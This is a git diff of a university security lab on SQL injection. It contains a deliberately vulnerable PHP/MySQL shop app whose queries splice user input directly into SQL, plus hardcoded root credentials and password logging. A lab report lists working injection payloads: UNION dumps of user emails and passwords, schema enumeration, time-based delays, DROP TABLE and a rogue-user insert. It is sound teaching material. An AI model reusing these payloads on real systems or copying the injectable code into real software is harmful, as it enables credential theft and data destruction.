diff --git a/404.php b/404.php new file mode 100644 index 0000000..974da02 --- /dev/null +++ b/404.php @@ -0,0 +1,13 @@ + + + + + + Not found + + + + +

404 - Not found!

+ + diff --git a/database.php b/database.php index 2aad542..4844995 100644 --- a/database.php +++ b/database.php @@ -2,7 +2,11 @@ include_once 'utils.php'; -$RESULT_MODE = SQLITE3_BOTH; +$RESULT_MODE = PDO::FETCH_BOTH; + +$host = '127.0.0.1'; +$db_user = 'root'; +$db_password = 'mysql'; session_start(); @@ -28,6 +32,8 @@ function connectToRedis() function initializeNewUser() { + global $host, $db_user, $db_password; + $redis = connectToRedis(); if (!$redis) { return false; @@ -40,25 +46,35 @@ function initializeNewUser() 'status' => 'active' ])); - $db_file = "db/$user_id.db"; - $db = new SQLite3($db_file); + /* $db_file = "db/$user_id.db"; */ + $connStr = "mysql:host=$host;port=3306;charset=UTF8"; + try { + $db = new PDO($connStr, $db_user, $db_password); - $schema_sql = file_get_contents('db/schema.sql'); - if (!$schema_sql) { - error_log("Failed to read schema file: $schema_path"); - return false; + $db->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;"); + $db->exec("USE `$user_id`;"); + error_log("new db was created successfully! $user_id", 0); + + $schema_sql = file_get_contents('db/schema.sql'); + if (!$schema_sql) { + error_log("Failed to read schema file: $schema_path"); + return false; + } + $db->exec($schema_sql); + } + catch(PDOException $e) { + error_log($e, 0); + throw new Exception($e->getMessage()); } - $db->exec($schema_sql); if (!$db) { // Cleanup Redis entry if db creation fails $redis->hDel('users', $user_id); return false; } - $db->close(); - return ["user_id" => $user_id, "db_file" => "db/$user_id.db"]; + return ["user_id" => $user_id]; } function initializeApp($existing_user_id = null) @@ -72,13 +88,27 @@ function initializeApp($existing_user_id = null) function getDB($user_id = null) { - if (!is_null($user_id)) { - $db_file = "db/$user_id.db"; - if (!file_exists($db_file)) { - return createUserDatabase($user_id); - } - return new SQLite3($db_file); + global $host, $db_user, $db_password; + + if (is_null($user_id)) { + error_log('user id is null', 0); + return null; } + + error_log("Global vars - host: $host, user: $db_user, password: $db_password", 0); + try { + $connStr = "mysql:host=$host;port=3306;charset=UTF8"; + $pdo = new PDO($connStr, $db_user, $db_password); + } catch(PDOException $e) { + error_log($e, 0); + throw new Exception($e->getMessage()); + } + + /* $pdo->exec("CREATE DATABASE IF NOT EXISTS `$user_id`;"); */ + $pdo->exec("USE `$user_id`;"); + $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + + return $pdo; } function registerUser($username, $email, $password) @@ -86,7 +116,12 @@ function registerUser($username, $email, $password) $db = getDB($_COOKIE['user_id']); $query = "INSERT INTO users(username, email, password) values ('$username', '$email', '$password');"; - return $db->exec($query); + $res = $db->exec($query); + if ($res === false) { + $errorInfo = $db->errorInfo(); + throw new Exception("MySQL Error: $errorInfo[2]. (Code: $errorInfo[1])"); + } + return $res; } function loginUser($email, $password) @@ -94,8 +129,8 @@ function loginUser($email, $password) global $RESULT_MODE; $db = getDB($_COOKIE['user_id']); $query = "SELECT username, password FROM users WHERE email = '$email';"; - $result = $db->query($query)->fetchArray($RESULT_MODE); - if ($result["password"] === $password) { + $result = $db->query($query)->fetch($RESULT_MODE); + if ($result && $result["password"] === $password) { return $result['username']; } else { return null; @@ -107,9 +142,10 @@ function getUserById($id) global $RESULT_MODE; $db = getDB($_COOKIE['user_id']); $query = "SELECT username, email FROM users WHERE id = $id"; + try { $result = $db->query($query); - return $result->fetchArray($RESULT_MODE); + return $result->fetch($RESULT_MODE); } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; } @@ -121,6 +157,7 @@ function createProduct($title, $amountInStock) $query = "INSERT INTO products(title, amount_in_stock) values ('$title', $amountInStock)"; try { + error_log($query, 0); return $db->exec($query); } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; @@ -138,14 +175,15 @@ function getProductsByTitle($title) try { $result = $db->query($query); if ($result === false) { - error_log("{$db->lastErrorCode()}", 0); - throw new Exception($db->lastErrorMsg()); + $errorInfo = $db->errorInfo(); + throw new Exception($errorInfo[2]); } $products = []; - while ($row = $result->fetchArray($RESULT_MODE)) { + while ($row = $result->fetch($RESULT_MODE)) { $products[] = $row; } + $_SESSION['error_message'] = null; return $products; } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; @@ -162,9 +200,10 @@ function getAllProducts() try { $result = $db->query($query); $products = []; - while ($row = $result->fetchArray($RESULT_MODE)) { + while ($row = $result->fetch($RESULT_MODE)) { $products[] = $row; } + return $products; } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; @@ -192,7 +231,10 @@ function getOrdersForUser($userId) try { $result = $db->query($query); - return $result->fetchArray($RESULT_MODE); + if ($result) { + return $result->fetch($RESULT_MODE); + } + return null; } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; } @@ -207,7 +249,32 @@ function getOrdersForProduct($productId) try { $result = $db->query($query); - return $result->fetchArray($RESULT_MODE); + if ($result) { + return $result->fetch($RESULT_MODE); + } + return null; + } catch (Exception $e) { + $_SESSION['error_message'] = $e->getMessage()."\n"; + } +} + +function getAllUsers() +{ + global $RESULT_MODE; + + $db = getDB($_COOKIE['user_id']); + $query = "SELECT id, username, email FROM users"; + + try { + $result = $db->query($query); + if (!$result) { + return null; + } + $users = []; + while ($row = $result->fetch($RESULT_MODE)) { + $users[] = $row; + } + return $users; } catch (Exception $e) { $_SESSION['error_message'] = $e->getMessage()."\n"; } diff --git a/doc.yaml b/doc.yaml new file mode 100644 index 0000000..4a79ad4 --- /dev/null +++ b/doc.yaml @@ -0,0 +1,19 @@ +# title: Робота з AWS Storage. Simple storage (s3) +subject: ТЗІ +doctype: ПЗ +# worknumber: 1 +mentors: + - name: Кальницька А. Ю. + degree: Асистент кафедри СТ + gender: f +edu_program: &EDU КНТ +university: ХНУРЕ +authors: + - name: Орлов О. С. + # full_name_gen: Косач Лариси Петрівни + course: 3 + edu: *EDU + gender: m + group: 22-1 + semester: 6 + # variant: diff --git a/index.php b/index.php index 7ca8a9e..3a00e10 100644 --- a/index.php +++ b/index.php @@ -5,15 +5,13 @@ $request = $_SERVER['REQUEST_URI']; $path = parse_url($request, PHP_URL_PATH); if (isset($_COOKIE["user_id"])) { - error_log('cookie is set', 0); + /* error_log('cookie is set', 0); */ } else { - error_log('cookie is NOT set', 0); + /* error_log('cookie is NOT set', 0); */ $ids = initializeApp(null); setcookie("user_id", $ids["user_id"], time() + 3600, "/"); - setcookie("db_file", $ids["db_file"], time() + 3600, "/"); $_COOKIE["user_id"] = $ids["user_id"]; - $_COOKIE["db_file"] = $ids["db_file"]; } /* TODO: remove for prod code */ @@ -26,24 +24,15 @@ if ($extension === 'css') { } /* TODO: remove for prod code */ -switch($path) { - case '': case '/': case '/products': - require __DIR__.'/products.php'; - break; - case '/login': - require __DIR__.'/login.php'; - break; - case '/register': - require __DIR__.'/register.php'; - break; - case '/logout': - require __DIR__.'/logout.php'; - break; - case '/orders': - require __DIR__.'/orders.php'; - break; - case '/users': - require __DIR__.'/users.php'; - break; -} +$page = match($path) { + '', '/', '/products' => '/products.php', + '/login' => '/login.php', + '/register' => '/register.php', + '/logout' => '/logout.php', + '/orders' => '/orders.php', + '/users' => '/users.php', + default => '/404.php', +}; + +require __DIR__.$page; ?> diff --git a/lab.pdf b/lab.pdf new file mode 100644 index 0000000..d6f3b9b Binary files /dev/null and b/lab.pdf differ diff --git a/lab.typ b/lab.typ new file mode 100644 index 0000000..b7e462d --- /dev/null +++ b/lab.typ @@ -0,0 +1,70 @@ +#import "@local/nure:0.1.0": * + +#show: pz-lb.with(..yaml("doc.yaml"), title: [SQL-ІН'ЄКЦІЇ], worknumber: 2) + +#v(-spacing) + +== Мета роботи +Ознайомитися з вразливостями типу "ін’єкції", зокрема SQL-ін'єкції. + +== Хід роботи +#v(-spacing) + +vulnerability.linerds.us/products + +IN PRODUCT SEARCH +`' OR 1=1 --` +`' UNION select password, password, email from users;` +`' or id=2; -- select item with Nth(2nd) id` +`' UNION SELECT group_concat('email: ', email, ' passw: ', password), 1, 2 from users -- ` +`' UNION SELECT password, username, email from users where email like '%admin%'; -- ` +`' union select TABLE_NAME,1,2 from INFORMATION_SCHEMA.TABLES; # ` +`' union select SCHEMA_NAME, 1,2 from INFORMATION_SCHEMA.SCHEMATA; # ` +`' union select BENCHMARK(500000, AES_DECRYPT(AES_ENCRYPT(REPEAT("a",3000), "key"), "key")), 2, 3; # ` +#figure(image("waiting_50s.png"), caption: [Результат SQL ін'єкції на основі часу]) // TODO: caption + +IN ADD PRODUCT +`3); drop table users; ` +`-1); insert into users(username, email, password) values ('hacker2222', 'mail\@hackerr.com' , 'pass'); -- ` +`'1'); DO SLEEP(5); #` +// === Підготовка +// #lorem(150) + +// === Виконання дослідження +// #lorem(300) + +// === Підрахунок результатів +// #lorem(250) + +== Висновки + +// == Контрольні запитання +// #lorem(100): +// - #lorem(20); +// - #lorem(30); +// - #lorem(15); +// - #lorem(25); +// - #lorem(42); +// - #lorem(27). + +#show: appendices_style + +// = Quote +// #link("https://youtu.be/bJQj1uKtnus")[ +// The art isn't the art, the art is never the art, +// the art is the thing that happens inside you when you make it and the feeling in the heart of the beholder. +// ] + + +// = Приклад звіту 1 +// #v(-spacing) +// == Частина 1 +// #lorem(100) +// == Частина2 +// #lorem(200) +// +// = Приклад звіту 2 +// #lorem(200) +// +// = Приклад звіту 3 +// #lorem(200) diff --git a/register.php b/register.php index 2f72712..3039904 100644 --- a/register.php +++ b/register.php @@ -8,13 +8,17 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") { $email = $_POST["email"]; $password = $_POST["password"]; - $result = registerUser($username, $email, $password); + try { + $result = registerUser($username, $email, $password); + } catch(Exception $e) { + error_log($e, 0); + $_SESSION['error_message'] = $e->getMessage(); + } + if ($result) { $_SESSION['error_message'] = null; $_SESSION['username'] = $username; $_SESSION['email'] = $email; - } else { - $_SESSION['error_message'] = "User with this username already exists!"; } header("Location: /products"); } diff --git a/users.php b/users.php index d53ea16..c553473 100644 --- a/users.php +++ b/users.php @@ -1,3 +1,10 @@ + @@ -8,6 +15,20 @@ +

Users - Work in progress!

+

Users:

+ + +

No users found.

+ + +
+

+

Id:

+

Email:

+
+ + diff --git a/waiting_15s.png b/waiting_15s.png new file mode 100644 index 0000000..bd876db Binary files /dev/null and b/waiting_15s.png differ diff --git a/waiting_50s.png b/waiting_50s.png new file mode 100644 index 0000000..3d2711a Binary files /dev/null and b/waiting_50s.png differ